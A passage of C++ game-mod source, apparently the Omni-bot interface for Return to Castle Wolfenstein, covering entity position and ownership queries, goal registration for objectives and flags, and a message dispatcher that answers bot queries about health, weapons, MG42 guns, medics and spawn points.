else if(pEnt->s.eType == ET_MOVER)
{
// Calculate the velocity ourselves. for some reason mover velocity
// isn't in s.pos.trDelta
// TODO: FIXME?
const float fDeltaTime = 50.0f; // get this dynamically?
_velocity[0] = (pEnt->r.currentOrigin[0] - pEnt->oldOrigin[0]) * fDeltaTime;
_velocity[1] = (pEnt->r.currentOrigin[1] - pEnt->oldOrigin[1]) * fDeltaTime;
_velocity[2] = (pEnt->r.currentOrigin[2] - pEnt->oldOrigin[2]) * fDeltaTime;
}
else
{
_velocity[0] = pEnt->s.pos.trDelta[0];
_velocity[1] = pEnt->s.pos.trDelta[1];
_velocity[2] = pEnt->s.pos.trDelta[2];
}
return Success;
}
return InvalidEntity;
}
obResult GetEntityPosition(const GameEntity _ent, float _pos[3])
{
gentity_t *pEnt = EntityFromHandle(_ent);
if (pEnt && pEnt->inuse)
{
if(!pEnt->client)
{
// Need to do special case stuff for certain entities.
if ((pEnt->s.eType == ET_EXPLOSIVE) ||
(pEnt->s.eType == ET_OID_TRIGGER) ||
!Q_stricmp(pEnt->classname, "trigger_multiple") ||
!Q_stricmp(pEnt->classname, "func_commandpoint") ||
!Q_stricmp(pEnt->classname, "plat_trigger") ||
!Q_stricmp(pEnt->classname, "door_trigger") ||
!Q_stricmp(pEnt->classname, "props_flamebarrel") ||
!Q_stricmp(pEnt->classname, "props_chair_hiback") ||
!Q_stricmp(pEnt->classname, "props_chair") ||
!Q_stricmp(pEnt->classname, "props_chair_side"))
{
// Center of bounding box, cuz currentOrigin isn't valid.
/*if(!pEnt->r.linked && pEnt->parent && pEnt->parent->s.eType == ET_OID_TRIGGER)
pEnt = pEnt->parent;*/
_pos[0] = pEnt->r.currentOrigin[0] + ((pEnt->r.maxs[0] + pEnt->r.mins[0]) * 0.5f);
_pos[1] = pEnt->r.currentOrigin[1] + ((pEnt->r.maxs[1] + pEnt->r.mins[1]) * 0.5f);
_pos[2] = pEnt->r.currentOrigin[2] + ((pEnt->r.maxs[2] + pEnt->r.mins[2]) * 0.5f);
return Success;
}
}
//ungibbed players, center / bottom
if ( pEnt->client && pEnt->health > GIB_HEALTH && pEnt->health < 1 )
{
_pos[0] = pEnt->r.currentOrigin[0] + ((pEnt->r.maxs[0] + pEnt->r.mins[0]) * 0.5f);
_pos[1] = pEnt->r.currentOrigin[1] + ((pEnt->r.maxs[1] + pEnt->r.mins[1]) * 0.5f);
_pos[2] = pEnt->r.currentOrigin[2] + pEnt->r.mins[2];
return Success;
}
// Clients and entities not caught above will return normal position.
_pos[0] = pEnt->r.currentOrigin[0];
_pos[1] = pEnt->r.currentOrigin[1];
_pos[2] = pEnt->r.currentOrigin[2];
return Success;
}
return InvalidEntity;
}
obResult GetEntityWorldAABB(const GameEntity _ent, AABB &_aabb)
{
gentity_t *pEnt = EntityFromHandle(_ent);
if (pEnt && pEnt->inuse)
{
/*if(!pEnt->r.linked && pEnt->parent && pEnt->parent->s.eType == ET_OID_TRIGGER)
pEnt = pEnt->parent;*/
_aabb.m_Mins[0] = pEnt->r.absmin[0];
_aabb.m_Mins[1] = pEnt->r.absmin[1];
_aabb.m_Mins[2] = pEnt->r.absmin[2];
_aabb.m_Maxs[0] = pEnt->r.absmax[0];
_aabb.m_Maxs[1] = pEnt->r.absmax[1];
_aabb.m_Maxs[2] = pEnt->r.absmax[2];
// hack for bad abs bounds
if(!Q_stricmp(pEnt->classname, "misc_mg42"))
{
if(_aabb.IsZero() || !_aabb.Contains(pEnt->r.currentOrigin))
{
float pos[3] = {0,0,0};
const float default_box_mins[] = { -8,-8,-8 };
const float default_box_maxs[] = { 8,8,48 };
GetEntityPosition(_ent,pos);
_aabb.Set(default_box_mins,default_box_maxs);
_aabb.SetCenter(pos);
}
}
return Success;
}
return InvalidEntity;
}
obResult GetEntityGroundEntity(const GameEntity _ent, GameEntity &moveent)
{
gentity_t *pEnt = EntityFromHandle(_ent);
if(pEnt)
{
if(pEnt->s.groundEntityNum > 0 && pEnt->s.groundEntityNum < ENTITYNUM_MAX_NORMAL)
{
moveent = HandleFromEntity(&g_entities[pEnt->s.groundEntityNum]);
}
return Success;
}
return InvalidEntity;
}
GameEntity GetEntityOwner(const GameEntity _ent)
{
GameEntity owner;
gentity_t *pEnt = EntityFromHandle(_ent);
if (pEnt && pEnt->inuse)
{
// hack, when the game joins clients again after warmup, they are temporarily ET_GENERAL entities(LAME)
int t = pEnt->s.eType;
if(pEnt->client && (pEnt-g_entities)<MAX_CLIENTS)
t = ET_PLAYER;
switch(t)
{
case ET_ITEM:
{
if(!Q_stricmp(pEnt->classname, "team_CTF_redflag") || !Q_stricmp(pEnt->classname, "team_CTF_blueflag"))
{
int iFlagEntNum = pEnt - g_entities;
for(int i = 0; i < MAX_CLIENTS; ++i)
{
if(g_entities[i].client && g_entities[i].client->flagParent == iFlagEntNum)
{
owner = HandleFromEntity(&g_entities[i]);
}
}
}
break;
}
case ET_GENERAL:
{
if(pEnt->r.ownerNum != pEnt->s.number)
{
gentity_t *pOwner = &g_entities[pEnt->r.ownerNum];
if(pOwner && pOwner->active && pOwner->client && pOwner->s.eFlags & EF_MG42_ACTIVE)
owner = HandleFromEntity(pOwner);
}
break;
}
default:
// -1 means theres no owner.
if(pEnt->r.ownerNum < MAX_GENTITIES)
owner =HandleFromEntity(&g_entities[pEnt->r.ownerNum]);
}
}
return owner;
}
int GetEntityTeam(const GameEntity _ent)
{
gentity_t *pEnt = EntityFromHandle(_ent);
return pEnt && pEnt->inuse ? _GetEntityTeam(pEnt) : RTCW_TEAM_NONE;
}
const char *GetEntityName(const GameEntity _ent)
{
gentity_t *pEnt = EntityFromHandle(_ent);
if(pEnt)
{
return _GetEntityName(pEnt);
}
return NULL;
}
obResult GetCurrentWeaponClip(const GameEntity _ent, FireMode _mode, int &_curclip, int &_maxclip)
{
gentity_t *bot = EntityFromHandle(_ent);
if(bot && bot->inuse && bot->client)
{
int iWeapon = bot->client->ps.weapon;
_curclip = bot->client->ps.ammoclip[BG_FindClipForWeapon((weapon_t)iWeapon)];
// sanity check for non-clipped weapons
switch (iWeapon)
{
case WP_AMMO:
case WP_BINOCULARS:
case WP_DYNAMITE:
case WP_FLAMETHROWER:
case WP_GRENADE_PINEAPPLE:
case WP_KNIFE:
case WP_MEDKIT:
case WP_PANZERFAUST:
case WP_PLIERS:
case WP_MEDIC_SYRINGE:
case WP_SMOKE_GRENADE:
case WP_GRENADE_LAUNCHER:
_maxclip = 0;
break;
default:
_maxclip = GetAmmoTableData(iWeapon)->maxclip;
}
return Success;
}
return InvalidEntity;
}
obResult GetCurrentAmmo(const GameEntity _ent, int _ammotype, int &_cur, int &_max)
{
gentity_t *bot = EntityFromHandle(_ent);
if(bot && bot->inuse && bot->client)
{
int maxclip = 0;
_ammotype = _weaponBotToGame(_ammotype);
_cur = bot->client->ps.ammoclip[BG_FindClipForWeapon((weapon_t)_ammotype)] +
bot->client->ps.ammo[BG_FindAmmoForWeapon((weapon_t)_ammotype)];
// sanity check for non-clipped weapons
switch (_ammotype)
{
case WP_AMMO:
case WP_BINOCULARS:
case WP_DYNAMITE:
case WP_FLAMETHROWER:
case WP_GRENADE_PINEAPPLE:
case WP_GRENADE_LAUNCHER:
case WP_KNIFE:
case WP_MEDKIT:
case WP_PANZERFAUST:
case WP_PLIERS:
case WP_MEDIC_SYRINGE:
case WP_SMOKE_GRENADE:
maxclip = 0;
break;
default:
maxclip = GetAmmoTableData(_ammotype)->maxclip;
}
//hmm, fixme..
_max = maxclip + GetAmmoTableData(bot->client->ps.weapon)->maxammo;
return Success;
}
return InvalidEntity;
}
int GetGameTime()
{
return level.time;
}
void GetGoals()
{
g_GoalSubmitReady = true;
SendDeferredGoals();
for (int i = MAX_CLIENTS; i < level.num_entities; i++)
{
gentity_t *e = &g_entities[i];
const char *pGoalName = 0;
if (!e->inuse)
continue;
pGoalName = _GetEntityName(e);
switch(e->s.eType)
{
case ET_GENERAL:
{
if(!Q_stricmp(e->classname, "team_CTF_redflag"))
{
// allies flag
Bot_Util_AddGoal(e, GOAL_CTF_FLAG, (1 << RTCW_TEAM_ALLIES), pGoalName, NULL);
}
else if(!Q_stricmp(e->classname, "team_CTF_blueflag"))
{
// axis flag
Bot_Util_AddGoal(e, GOAL_CTF_FLAG, (1 << RTCW_TEAM_AXIS), pGoalName, NULL);
}
break;
}
case ET_OID_TRIGGER:
{
//geekfeststarter's code for compat with ET goalnames
//gentity_t *trav = NULL;
//trav = G_Find( trav, FOFS(targetname), e->target );
//pGoalName = _GetEntityName(trav);
pGoalName = _GetEntityName(e);
if (e->spawnflags & ALLIED_OBJECTIVE)
Bot_Util_AddGoal(e, RTCW_GOAL_DYNTARGET,
(1 << RTCW_TEAM_AXIS), pGoalName, NULL);
if (e->spawnflags & AXIS_OBJECTIVE)
Bot_Util_AddGoal(e, RTCW_GOAL_DYNTARGET,
(1 << RTCW_TEAM_ALLIES), pGoalName, NULL);
break;
}
/*case ET_MG42_BARREL:
{
int team = 0;
team |= (1 << RTCW_TEAM_ALLIES);
team |= (1 << RTCW_TEAM_AXIS);
pGoalName = _GetEntityName(e);
Bot_Util_AddGoal(e, RTCW_GOAL_MG42MOUNT, team, pGoalName, NULL);
break;
}*/
case ET_MOVER:
{
int team = 0;
if (e->spawnflags & 32)
team = (1 << RTCW_TEAM_ALLIES);
else if (e->spawnflags & 64)
team = (1 << RTCW_TEAM_AXIS);
else
{
team |= (1 << RTCW_TEAM_ALLIES);
team |= (1 << RTCW_TEAM_AXIS);
}
pGoalName = _GetEntityName(e);
if(pGoalName && !Q_stricmp(e->classname, "script_mover"))
{
Bot_Util_AddGoal(e, RTCW_GOAL_MOVER, team, pGoalName, NULL);
}
break;
}
case ET_TRAP:
{
pGoalName = _GetEntityName(e);
if (!Q_stricmp( e->classname, "team_WOLF_checkpoint" ))
{
Bot_Util_AddGoal(e, RTCW_GOAL_CHECKPOINT, 0, pGoalName, NULL);
}
break;
}
case ET_EXPLOSIVE:
{
pGoalName = _GetEntityName(e);
if (!Q_stricmp( e->classname, "func_explosive"))
{
if ( e->spawnflags & 32 || (e->spawnflags & 16 && e->health > 50) )
Bot_Util_AddGoal(e, RTCW_GOAL_EXPLOSIVE, 0, pGoalName, NULL);
// bridge in mp_tank has 2 extra dynamite actions which both teams
// can use. they are not tied to an OID trigger .. bleh
if ( e->spawnflags == 77 || e->spawnflags == 104 || (e->spawnflags == 76 && !e->scriptName))
Bot_Util_AddGoal(e, RTCW_GOAL_DYNTARGET, 0, pGoalName, NULL);
}
break;
}
}
}
}
void GetPlayerInfo(obPlayerInfo &info)
{
info.m_AvailableTeams |= (1<<RTCW_TEAM_ALLIES);
info.m_AvailableTeams |= (1<<RTCW_TEAM_AXIS);
info.m_MaxPlayers = level.maxclients;
for( int i = 0; i < MAX_CLIENTS; i++ )
{
if(!g_entities[i].inuse)
continue;
if (!g_entities[i].client)
continue;
if(g_entities[i].client->pers.connected != CON_CONNECTED)
continue;
GameEntity ge = HandleFromEntity(&g_entities[i]);
info.m_Players[i].m_Team = GetEntityTeam(ge);
info.m_Players[i].m_Class = GetEntityClass(ge);
info.m_Players[i].m_Controller = IsBot(&g_entities[i])?
obPlayerInfo::Bot : obPlayerInfo::Human;
}
}
obResult InterfaceSendMessage(const MessageHelper &_data, const GameEntity _ent)
{
gentity_t *pEnt = EntityFromHandle(_ent);
switch(_data.GetMessageId())
{
// general messages
case GEN_MSG_ISALIVE:
{
OB_GETMSG(Msg_IsAlive);
if(pMsg)
{
if(pEnt && pEnt->inuse && pEnt->client &&pEnt->health > 0 &&
pEnt->client->ps.pm_type == PM_NORMAL)
{
pMsg->m_IsAlive = True;
}
}
break;
}
case GEN_MSG_ISRELOADING:
{
OB_GETMSG(Msg_Reloading);
if(pMsg)
{
if((pEnt && pEnt->inuse && pEnt->client && pEnt->client->ps.weaponstate >= WEAPON_RAISING) &&
(pEnt->client->ps.weaponstate <= WEAPON_RELOADING))
{
pMsg->m_Reloading = True;
}
}
break;
}
case GEN_MSG_ISREADYTOFIRE:
{
OB_GETMSG(Msg_ReadyToFire);
if(pMsg)
{
if(pEnt && pEnt->inuse && pEnt->client)
{
if(pEnt->client->ps.weaponstate == WEAPON_READY || pEnt->client->ps.weaponstate == WEAPON_FIRING)
{
pMsg->m_Ready = True;
}
}
}
break;
}
case GEN_MSG_GETEQUIPPEDWEAPON:
{
OB_GETMSG(WeaponStatus);
if(pMsg)
{
if(pEnt && pEnt->inuse && pEnt->client)
pMsg->m_WeaponId = Bot_WeaponGameToBot(pEnt->client->ps.weapon);
else
pMsg->m_WeaponId = 0;
}
break;
}
case GEN_MSG_GETMOUNTEDWEAPON:
{
OB_GETMSG(WeaponStatus);
if (pMsg && pEnt && pEnt->inuse && pEnt->client)
pMsg->m_WeaponId = BG_PlayerMounted(pEnt->s.eFlags) ? RTCW_WP_MOUNTABLE_MG42 : RTCW_WP_NONE;
break;
}
case GEN_MSG_GETWEAPONLIMITS:
{
OB_GETMSG(WeaponLimits);
if(pMsg)
{
if (pEnt && pEnt->inuse && pEnt->client &&
pMsg->m_WeaponId == RTCW_WP_MOUNTABLE_MG42 &&
BG_PlayerMounted(pEnt->client->ps.eFlags))
{
pMsg->m_Limited = True;
AngleVectors(pEnt->client->pmext.centerangles, pMsg->m_CenterFacing, NULL, NULL);
pMsg->m_MinYaw = -pEnt->client->pmext.harc;
pMsg->m_MaxYaw = pEnt->client->pmext.harc;
pMsg->m_MinPitch = -pEnt->client->pmext.varc;
pMsg->m_MaxPitch = pEnt->client->pmext.varc;
}
else
pMsg->m_Limited = False;
}
//////////////////////////////////////////////////////////////////////////
break;
}
case GEN_MSG_GETHEALTHARMOR:
{
OB_GETMSG(Msg_HealthArmor);
if(pMsg)
{
// No Armor in ET
pMsg->m_CurrentArmor = pMsg->m_MaxArmor = 0;
if(pEnt)
{
switch(pEnt->s.eType)
{
case ET_GENERAL:
if(Simple_EmplacedGunIsRepairable(pEnt))
{
pMsg->m_CurrentHealth = 0;
pMsg->m_MaxHealth = MG42_MULTIPLAYER_HEALTH;
}
else
{
if(pEnt->mg42BaseEnt>0)
{
gentity_t *pBase = &g_entities[pEnt->mg42BaseEnt];
pMsg->m_CurrentHealth = pBase->health;
pMsg->m_MaxHealth = MG42_MULTIPLAYER_HEALTH;
}
else
{
// just in case
pMsg->m_CurrentHealth = pEnt->health;
pMsg->m_MaxHealth = MG42_MULTIPLAYER_HEALTH;
}
}
break;
default:
if(pEnt->client)
{
pMsg->m_CurrentHealth = pEnt->client->ps.stats[STAT_HEALTH];
pMsg->m_MaxHealth = pEnt->client->ps.stats[STAT_MAX_HEALTH];
}
else
{
pMsg->m_CurrentHealth = pEnt->takedamage ? pEnt->health : 0;
pMsg->m_MaxHealth = 0;
}
}
}
}
break;
}
case GEN_MSG_GETMAXSPEED:
{
OB_GETMSG(Msg_PlayerMaxSpeed);
if(pMsg && pEnt)
{
pMsg->m_MaxSpeed = (float)g_speed.integer;
}
break;
}
case GEN_MSG_ISALLIED:
{
OB_GETMSG(Msg_IsAllied);
if(pMsg)
{
gentity_t *pEntOther = EntityFromHandle(pMsg->m_TargetEntity);
if(pEntOther && pEnt)
{
if(ENTINDEX(pEntOther) == ENTITYNUM_WORLD || (!_GetEntityTeam(pEntOther)
&& !Q_stricmp(pEntOther->classname, "player")) )
pMsg->m_IsAllied = True;
else
{
pMsg->m_IsAllied = _GetEntityTeam(pEnt) == _GetEntityTeam(pEntOther) ? True : False;
}
}
}
break;
}
case GEN_MSG_ISOUTSIDE:
{
OB_GETMSG(Msg_IsOutside);
if(pMsg)
{
trace_t tr;
vec3_t end;
end[0] = pMsg->m_Position[0];
end[1] = pMsg->m_Position[1];
end[2] = pMsg->m_Position[2] + 4096;
trap_Trace(&tr, pMsg->m_Position, NULL, NULL, end, -1, MASK_SOLID);
if((tr.fraction < 1.0) && !(tr.surfaceFlags & SURF_NOIMPACT))
pMsg->m_IsOutside = False;
else
pMsg->m_IsOutside = True;
}
break;
}
case GEN_MSG_CHANGENAME:
{
OB_GETMSG(Msg_ChangeName);
if(pMsg && pEnt && pEnt->client)
{
char userinfo[MAX_INFO_STRING];
trap_GetUserinfo(pEnt-g_entities, userinfo, MAX_INFO_STRING);
Info_SetValueForKey(userinfo, "name", pMsg->m_NewName);
trap_SetUserinfo(pEnt-g_entities, userinfo);
ClientUserinfoChanged(pEnt-g_entities);
}
break;
}
case GEN_MSG_ENTITYKILL:
{
OB_GETMSG(Msg_KillEntity);
if(pMsg && pMsg->m_WhoToKill.IsValid() && g_cheats.integer)
{
gentity_t *pWho = EntityFromHandle(pMsg->m_WhoToKill);
if(pWho)
G_Damage( pWho, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, MOD_TELEFRAG );
}
break;
}
case GEN_MSG_SERVERCOMMAND:
{
OB_GETMSG(Msg_ServerCommand);
if(pMsg && pMsg->m_Command[0] /*&& g_cheats.integer*/)
{
trap_SendConsoleCommand(EXEC_NOW, pMsg->m_Command);
}
break;
}
case GEN_MSG_GETFLAGSTATE:
{
OB_GETMSG(Msg_FlagState);
if(pMsg)
{
//CS_FIXME?
//assert(0 && "Implement Flag State!");
/*if(pEnt && gameLocal.mpGame.IsGametypeFlagBased())
{
if(pEnt->IsType(idItemTeam::Type))
{
idItemTeam *pFlag = static_cast<idItemTeam*>(pEnt);
switch(gameLocal.mpGame.GetFlagStatus(pFlag->team))
{
case FLAGSTATUS_INBASE:
pMsg->m_FlagState = S_FLAG_AT_BASE;
break;
case FLAGSTATUS_TAKEN:
pMsg->m_FlagState = S_FLAG_CARRIED;
break;
case FLAGSTATUS_STRAY:
pMsg->m_FlagState = S_FLAG_DROPPED;
break;
case FLAGSTATUS_NONE:
break;
}
}
}*/
}
break;
}
case GEN_MSG_GETCONTROLLINGTEAM:
{
ControllingTeam *pMsg = _data.Get<ControllingTeam>();
if(pMsg)
{
pMsg->m_ControllingTeam = 0;
}
break;
}
case GEN_MSG_GAMESTATE:
{
OB_GETMSG(Msg_GameState);
if(pMsg)
{
int iTimeLimit = (int)(g_timelimit.value * 60000);
int iMatchTime = level.time - level.startTime;
pMsg->m_TimeLeft = (iTimeLimit - iMatchTime) / 1000.f;
switch(g_gamestate.integer)
{
case GS_PLAYING:
pMsg->m_GameState = GAME_STATE_PLAYING;
break;
case GS_WARMUP_COUNTDOWN:
pMsg->m_GameState = GAME_STATE_WARMUP_COUNTDOWN;
break;
case GS_WARMUP:
pMsg->m_GameState = GAME_STATE_WARMUP;
break;
case GS_INTERMISSION:
pMsg->m_GameState = GAME_STATE_INTERMISSION;
break;
case GS_WAITING_FOR_PLAYERS:
pMsg->m_GameState = GAME_STATE_WAITINGFORPLAYERS;
break;
default:
pMsg->m_GameState = GAME_STATE_INVALID;
break;
}
}
break;
}
case GEN_MSG_ENTITYSTAT:
{
OB_GETMSG(Msg_EntityStat);
if(pMsg)
{
if(pEnt && pEnt->client && !strcmp(pMsg->m_StatName, "kills"))
pMsg->m_Result = obUserData(pEnt->client->pers.kills);
else if(pEnt && pEnt->client && !strcmp(pMsg->m_StatName, "deaths"))
pMsg->m_Result = obUserData(pEnt->client->ps.persistant[PERS_KILLED]);
else if(pEnt && pEnt->client && !strcmp(pMsg->m_StatName, "gibs"))
pMsg->m_Result = obUserData(pEnt->client->pers.gibs);
else if(pEnt && pEnt->client && !strcmp(pMsg->m_StatName, "shots"))
pMsg->m_Result = obUserData(pEnt->client->pers.acc_shots);
else if(pEnt && pEnt->client && !strcmp(pMsg->m_StatName, "hits"))
pMsg->m_Result = obUserData(pEnt->client->pers.acc_hits);
else if(pEnt && pEnt->client && !strcmp(pMsg->m_StatName, "headshots"))
pMsg->m_Result = obUserData(pEnt->client->pers.headshots);
else if(pEnt && pEnt->client && !strcmp(pMsg->m_StatName, "ammo"))
pMsg->m_Result = obUserData(pEnt->client->pers.ammoPacks);
else if(pEnt && pEnt->client && !strcmp(pMsg->m_StatName, "health"))
pMsg->m_Result = obUserData(pEnt->client->pers.medPacks);
else if(pEnt && pEnt->client && !strcmp(pMsg->m_StatName, "accuracy"))
{
float acc = 0.0f;
if ( pEnt->client->pers.acc_shots > 0 )
{
acc = ((float)pEnt->client->pers.acc_hits / (float)pEnt->client->pers.acc_shots) * 100.0f;
}
pMsg->m_Result = obUserData(acc);
}
else if(pEnt && pEnt->client && !strcmp(pMsg->m_StatName, "hspercent"))
{
float p = 0.0f;
if ( pEnt->client->pers.headshots > 0 )
{
p = ((float)pEnt->client->pers.headshots / (float)pEnt->client->pers.acc_hits) * 100.0f;
}
pMsg->m_Result = obUserData(p);
}
else if(pEnt && pEnt->client && !strcmp(pMsg->m_StatName, "killratio"))
{
float kr = pEnt->client->pers.kills;
if ( pEnt->client->ps.persistant[PERS_KILLED] > 0 )
{
kr = (float)pEnt->client->pers.kills / (float)pEnt->client->ps.persistant[PERS_KILLED];
}
pMsg->m_Result = obUserData(kr);
}
//else if(pEnt && pEnt->client && !Q_strcmp(pMsg->m_StatName, "score"))
// pMsg->m_Result = obUserData(0); // TODO:
}
break;
}
case GEN_MSG_TEAMSTAT:
{
OB_GETMSG(Msg_TeamStat);
if(pMsg)
{
/*if(!strcmp(pMsg->m_StatName, "score"))
pMsg->m_Result = obUserData(0);
else if(!strcmp(pMsg->m_StatName, "deaths"))
pMsg->m_Result = obUserData(0);*/
}
break;
}
case GEN_MSG_WPCHARGED:
{
OB_GETMSG(WeaponCharged);
if (pMsg && pEnt && pEnt->inuse && pEnt->client)
{
pMsg->m_IsCharged =
(weaponCharged(&pEnt->client->ps,pEnt->client->sess.sessionTeam,
_weaponBotToGame(pMsg->m_Weapon)) ? True : False);
}
break;
}
case GEN_MSG_WPHEATLEVEL:
{
OB_GETMSG(WeaponHeatLevel);
if (pMsg && pEnt && pEnt->inuse && pEnt->client)
{
pMsg->m_CurrentHeat = pEnt->client->ps.weapHeat[WP_STEN];
pMsg->m_MaxHeat = MAX_WP_HEAT;
}
break;
}
case GEN_MSG_MOVERAT:
{
OB_GETMSG(Msg_MoverAt);
if(pMsg)
{
/*Vector org(
pMsg->m_Position[0],
pMsg->m_Position[1],
pMsg->m_Position[2]);
Vector under(
pMsg->m_Under[0],
pMsg->m_Under[1],
pMsg->m_Under[2]);
trace_t tr;
UTIL_TraceLine(org, under, MASK_SOLID, NULL, COLLISION_GROUP_PLAYER_MOVEMENT, &tr);
if(tr.DidHitNonWorldEntity() && !tr.m_pEnt->IsPlayer())
{
pMsg->m_Entity = HandleFromEntity(tr.m_pEnt);
}*/
}
break;
}
//////////////////////////////////////////////////////////////////////////
case RTCW_MSG_GOTOLIMBO:
{
OB_GETMSG(RTCW_GoLimbo);
if(pMsg)
{
// Dens: don't forget to look if the pEnt SHOULD really be in limbo
// this check prevenst extra bodies and weird spectator behaviour
int limbo_health = GIB_HEALTH;
if (pEnt && pEnt->inuse && pEnt->client && pEnt->health > limbo_health &&
pEnt->client->ps.pm_type == PM_DEAD && !(pEnt->client->ps.pm_flags & PMF_LIMBO))
{
//limbo(pEnt, qtrue);
Cmd_BotTapOut_f(pEnt); // Martin - For bot tap messages (thanks Ken)
pMsg->m_GoLimbo = True;
}
else
{
pMsg->m_GoLimbo = False;
}
}
break;
}
case RTCW_MSG_ISMEDICNEAR:
{
OB_GETMSG(RTCW_MedicNear);
if(pMsg)
{
if (pEnt && pEnt->inuse && pEnt->client &&
pEnt->client->ps.pm_type == PM_DEAD && !(pEnt->client->ps.pm_flags & PMF_LIMBO))
{
pMsg->m_MedicNear = (pEnt->client->ps.viewlocked == 7) ? True : False;
}
else
{
pMsg->m_MedicNear = Invalid;
}
}
break;
}
case RTCW_MSG_ISWAITINGFORMEDIC:
{
OB_GETMSG(RTCW_WaitingForMedic);
if(pMsg)
{
if (pEnt && pEnt->inuse && pEnt->client &&
(pEnt->health <= 60 || pEnt->client->ps.pm_type == PM_DEAD) &&
!(pEnt->client->ps.pm_flags & PMF_LIMBO))
{
pMsg->m_WaitingForMedic = True;
}
else if (pEnt && pEnt->inuse && pEnt->client &&
pEnt->client->ps.pm_type == PM_NORMAL)
{
pMsg->m_WaitingForMedic = False;
}
else if (pEnt && pEnt->inuse && pEnt->client &&
pEnt->client->ps.pm_flags & PMF_LIMBO)
{
pMsg->m_WaitingForMedic = False;
}
else
{
pMsg->m_WaitingForMedic = Invalid;
}
}
break;
}
case RTCW_MSG_REINFORCETIME:
{
OB_GETMSG(RTCW_ReinforceTime);
if(pMsg)
{
if(pEnt && pEnt->inuse && pEnt->client)
{
if(pEnt->client->sess.sessionTeam == TEAM_RED)
{
pMsg->m_ReinforceTime = g_redlimbotime.integer -
(level.time%g_redlimbotime.integer);
}
else if(pEnt->client->sess.sessionTeam == TEAM_BLUE)
{
pMsg->m_ReinforceTime = g_bluelimbotime.integer -
(level.time%g_bluelimbotime.integer);
}
}
}
break;
}
case RTCW_MSG_GETGUNHEALTH:
{
OB_GETMSG(RTCW_MG42Health);
if(pMsg)
{
gentity_t *pGunEntity = EntityFromHandle(pMsg->m_MG42Entity);
if (pGunEntity && pGunEntity->inuse && pGunEntity->r.linked /*&&
pGunEntity->entstate == STATE_DEFAULT*/)
{
if(pGunEntity->mg42BaseEnt != -1)
pMsg->m_Health = g_entities[pGunEntity->mg42BaseEnt].health;
else
pMsg->m_Health = pGunEntity->health;
}
else
{
pMsg->m_Health = -1;
}
}
break;
}
case RTCW_MSG_GETGUNHEAT:
{
OB_GETMSG(RTCW_WeaponHeatLevel);
if(pMsg)
{
gentity_t *pGunEntity = EntityFromHandle(pMsg->m_Entity);
if(pEnt && pEnt->client && pGunEntity)
{
pMsg->m_Current = pEnt->client->ps.weapHeat[WP_STEN];
pMsg->m_Max = MAX_WP_HEAT;
}
else
{
pMsg->m_Current = -1;
pMsg->m_Max = -1;
}
}
break;
}
case RTCW_MSG_ISGUNMOUNTED:
{
OB_GETMSG(RTCW_MG42MountedPlayer);
if(pMsg)
{
gentity_t *pGunEntity = EntityFromHandle(pMsg->m_MG42Entity);
if(pGunEntity && pGunEntity->inuse && (pGunEntity->r.ownerNum < level.maxclients))
pMsg->m_MountedEntity = HandleFromEntity(&g_entities[pGunEntity->r.ownerNum]);
else
pMsg->m_MountedEntity.Reset();
}
break;
}
case RTCW_MSG_ISGUNREPAIRABLE:
{
OB_GETMSG(RTCW_MG42MountedRepairable);
if(pMsg)
{
gentity_t *pGunEntity = EntityFromHandle(pMsg->m_MG42Entity);
if(pEnt && pGunEntity && pGunEntity->inuse)
pMsg->m_Repairable = G_EmplacedGunIsRepairable(pGunEntity, pEnt) == qtrue ? True : False;
else
pMsg->m_Repairable = False;
}
break;
}
case RTCW_MSG_MOUNTEDMG42INFO:
{
OB_GETMSG(RTCW_MG42Info);
if(pMsg)
{
if (pEnt && pEnt->inuse && pEnt->client && BG_PlayerMounted(pEnt->client->ps.eFlags))
{
AngleVectors(pEnt->client->pmext.centerangles, pMsg->m_CenterFacing, NULL, NULL);
//AngleVectors(pEnt->client->pmext.mountedWeaponAngles, pMsg->, NULL, NULL);
pMsg->m_MinHorizontalArc = -pEnt->client->pmext.harc;
pMsg->m_MaxHorizontalArc = pEnt->client->pmext.harc;
pMsg->m_MinVerticalArc = -pEnt->client->pmext.varc;
pMsg->m_MaxVerticalArc = pEnt->client->pmext.varc;
}
}
break;
}
case RTCW_MSG_WPOVERHEATED:
{
OB_GETMSG(RTCW_WeaponOverheated);
if(pMsg)
{
if (pEnt && pEnt->inuse && pEnt->client)
{
int iCurHeat = pEnt->client->ps.weapHeat[_weaponBotToGame(pMsg->m_Weapon)];
int iMaxHeat = GetAmmoTableData(_weaponBotToGame(pMsg->m_Weapon))->maxHeat;
pMsg->m_IsOverheated = iMaxHeat ? ((iCurHeat >= iMaxHeat) ? True : False) : False;
}
}
break;
}
case RTCW_MSG_PICKWEAPON:
case RTCW_MSG_PICKWEAPON2:
{
OB_GETMSG(RTCW_SelectWeapon);
if(pMsg)
{
if(pEnt && pEnt->inuse && pEnt->client)
{
if(_data.GetMessageId() == RTCW_MSG_PICKWEAPON2)
{
/*pEnt->client->sess.playerWeapon2 = _weaponBotToGame(pMsg->m_Selection);
pEnt->client->sess.latchPlayerWeapon2 = _weaponBotToGame(pMsg->m_Selection);*/
}
else
{
//CS: /kill 2 seconds before next spawn
if ( !(pEnt->client->ps.pm_flags & PMF_LIMBO) && pEnt->client->sess.playerWeapon != _weaponBotToMpWeapon(pMsg->m_Selection) )
{
pEnt->client->sess.botSuicide = qtrue;
}
//pEnt->client->sess.playerWeapon = _weaponBotToGame(pMsg->m_Selection);
pEnt->client->sess.playerWeapon = _weaponBotToMpWeapon(pMsg->m_Selection);
pEnt->client->sess.latchPlayerWeapon = _weaponBotToMpWeapon(pMsg->m_Selection);
}
pMsg->m_Good = True;
}
else
{
pMsg->m_Good = False;
}
}
break;
}
case RTCW_MSG_GETHINT:
{
OB_GETMSG(RTCW_CursorHint);
if(pMsg)
{
if(pEnt && pEnt->client)
{
pMsg->m_Type = Bot_HintGameToBot(pEnt);
pMsg->m_Value = pEnt->client->ps.serverCursorHintVal;
}
}
break;
}
case RTCW_MSG_CHECKPOINTTEAM:
{
OB_GETMSG(RTCW_CheckpointTeam);
if(pMsg && pEnt && pEnt->s.eType == ET_TRAP)
pMsg->m_OwningTeam = Bot_TeamGameToBot(pEnt->count);
else
return InvalidEntity;
break;
}
case RTCW_MSG_CHANGESPAWNPOINT:
{
OB_GETMSG(RTCW_SpawnPoint);
if(pMsg)
{
if(pEnt && pEnt->client)
{
SetPlayerSpawn( pEnt, pMsg->m_SpawnPoint, qtrue);
}
}
break;
}
case RTCW_MSG_GHASFLAG:
{
OB_GETMSG(RTCW_HasFlag);
if(pMsg)
{
